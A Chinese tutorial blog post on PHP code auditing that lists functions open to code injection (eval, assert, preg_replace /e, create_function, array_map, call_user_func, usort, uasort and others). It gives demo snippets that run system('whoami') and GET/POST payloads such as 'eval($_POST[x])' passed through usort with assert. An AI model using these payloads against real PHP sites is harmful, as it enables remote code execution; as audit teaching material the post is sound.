php代码审计zhuru,php代码审计入门(二)——危险函数篇之代码注入

本文仅作学习记录,如有侵权,请联系删除!

代码执行:

eval()

将传入的字符串当作 PHP 代码来进行执行

自 PHP 7 开始,执行的代码里如果有一个parse error,eval() 会抛出 ParseError 异常。

在 PHP 7 之前,如果在执行的代码中有 parse error,eval() 返回FALSE,之后的代码将正常执行。无法使用set_error_handler()捕获 eval() 中的解析错误

简而言之:PHP5在代码错误格式错误之后仍会执行,而PHP7在代码发生错误之后,那么eval()函数就会抛出异常,而不执行之后的代码

assert()

检查一个断言是否为 FALSE,它也具有将传入的字符串当作 PHP 代码来进行执行的功能。

语法格式:

# php5

assert( mixed $assertion[, string $description] ) : bool

# php7

assert( mixed $assertion[, Throwable $exception] ) : bool

参数:assertion

在PHP 5 中,是一个用于执行的字符串或者用于测试的布尔值。在PHP 7 中,可以是一个返回任何值的表达式,它将被执行结果用于判断断言是否成功。

参数:description

如果assertion失败了,选项description将会包含在失败信息里。

参数:exception

在PHP 7中,第二个参数可以是一个Throwable对象,而不是一个字符串,如果断言失败且启用了assert.exception,那么该对象将被抛出

$code = "system(whoami)";

assert($code);

?>

preg_replace()

执行一个正则表达式的搜索和替换

语法格式:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

参数说明:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换

preg_repace()有一个模式是/e模式,这个模式就会发生代码执行的问题:

/e 修正符使preg_repace()将replacement参数当作PHP代码

$a = $_GET['id'];

preg_replace("/test/e",$a, 'just a test')

?>

4e7257a9f4db

注意:preg_replace()函数在PHP 7 后便不再支持,使用preg_replace_callback()进行替换了,取消了不安全的\e模式。

create_function()

创建一个匿名函数,并返回唯一的函数名称作为字符串或者返回FALSE错误

语法格式:

create_function( string $args, string $code) : string

参数:

$args 声明的函数变量部分

$code 要执行的代码

create_function()函数在内部执行eval()函数,所以我们就可以利用这一点,来执行代码。当然正因为存在安全问题,所以在PHP 7.2 之后的版本中已经废弃了create_function()函数,使用匿名函数来代替。

$newfunc = create_function('$id', 'return system($id);');

$newfunc('whoami');

?>

create_function()函数其他用法补充:

$onefunc = create_function("","die(`type flag.php`);");

$_GET['func_name']();

die();

?>

只需要执行$onefunc就能得到flag,但是我们不知道这个函数的名称。如果在不知道函数名称的情况下执行函数呢?这里就用到了creat_function函数的一个漏洞。这个函数在creat之后会自动生成一个函数名为%00lambda_%d的匿名函数。%d的值是一直递增的,会一直递增到最大长度直到结束。所以这里可以通过多进程或者多线程访问,从而看到flag

本地测试失败

anonymous function(匿名函数)

允许临时创建一个没有指定名称的函数。最经常用作回调函数 callback 参数的值

$anonymousFunc = function($cmd){

system($cmd);

};

$anonymousFunc('whoami');

array_map()

为数组的每个元素应用回调函数

语法格式:

array_map( callable $callback, array $array1[, array $...] ) : array

返回数组,为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给array_map() 数组数量,两者必须一样

简而言之:本来有一个数组,我通过array_map函数将该数组当作参数传入,然后返回一个新的数组

$old_array = array(1, 2, 3, 4, 5);

function func($arg){

return $arg * $arg;

}

$new_array = array_map('func',$old_array);

var_dump($new_array);

?>

代码注入利用原理:

通过array_map()这个函数,来调用用户自定义的函数,而用户这里的回调函数其实就是system函数,那么就相当于我们用system函数来对旧数组进行操作,得到新的数组,那么这个新的数组的结果就是我们想要的命令执行的结果了

$func = 'system';

$cmd = 'whoami';

$old_array[0] = $cmd;

$new_array = array_map($func,$old_array);

?>

call_user_func()

把第一个参数作为回调函数调用

语法格式:

call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) : mixed

callback:即将被调用的回调函数

parameter:传入回调函数的参数

function callback($a){

return system($a);

}

$cmd = 'whoami';

call_user_func('callback',$cmd);

?>

call_user_func_array()

跟函数call_user_func很类似,唯一的区别就在于参数的传递上,这个函数是把一个数组作为回调函数的参数

语法格式:

call_user_func_array( callable $callback, array $param_arr) : mixed

function callback($a){

return system($a);

}

$cmd = array('whoami');

call_user_func_array('callback',$cmd);

?>

array_filter()

用回调函数过滤数数组中的单元

语法格式:

array_filter( array $array[, callable $callback[, int $flag = 0]] ) : array

array:要循环的数组

callback:使用的回调函数。如果没有提供callback函数,将删除array中所有等值为FALSE的条目。

flag:决定callback接收的参数形式

依次将array数组中的每个值传到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

简而言之:该函数过滤调用的函数,而被过滤的是传入的参数

$cmd='whoami';

$array1=array($cmd);

$func ='system';

array_filter($array1,$func);

?>

usort()

使用用户自定义的比较函数对数组中的值进行排序

usort( array &$array, callable $value_compare_func) : bool

array:输入的数组

cmp_function:在第一个参数小于、等于或大于第二个参数时,该比较函数必须相应地返回一个小于、等于或大于0的数

代码实例:

function func($a,$b){

return ($a

}

$onearray=array(1,3,2,5,9);

usort($onearray, 'func');

print_r($onearray);

?>

执行结果——>

Array

(

[0] => 9

[1] => 5

[2] => 3

[3] => 2

[4] => 1

)

利用代码:

usort(...$_GET);

?>

payload: 1.php?1[0]=0&1[1]=eval($_POST['x'])&2=assert

POST传参: x=phpinfo();

那么$_GET变量中的值,应该是:['$a=0','eval($_POST["x"])'],'assert']

$_GET[0]是usort的第一个参数

$_GET[1]是usort的回调函数名

最后相当于:

适用条件:

php环境>=5.6

4e7257a9f4db

另一种用法,经测试适用于php 5.4

payload: 1.php?1=1+1&2=eval($_POST[x])

POST传参: x=phpinfo();

uasort()

对数组排序并保持索引和单元之间的关联,排完序之后,它原来对应的索引也会相应改变,类似于“绑定”。

语法格式:

uasort( array &$array, callable $value_compare_func) : bool

array:输入的数组

value_compare_func:用户自定义的函数

官方示例:

// Comparison function

function cmp($a, $b) {

if ($a == $b) {

return 0;

}

return ($a < $b) ? -1 : 1;

}

// Array to be sorted

$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);

print_r($array);

// Sort and print the resulting array

uasort($array, 'cmp');

print

?>

执行结果——>

Array

(

[a] => 4

[b] => 8

[c] => -1

[d] => -9

[e] => 2

[f] => 5

[g] => 3

[h] => -4

)

Array

(

[d] => -9

[h] => -4

[c] => -1

[e] => 2

[g] => 3

[a] => 4

[f] => 5

[b] => 8

)

排完序之后索引也跟着值的位置变化而变化了

$a = $_GET['a'];

$onearray = array('Ameng', $_POST['x']);

uasort($onearray, $a);

?>

payload: 1.php?a=assert

POST: x=phpinfo()

参考如下:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值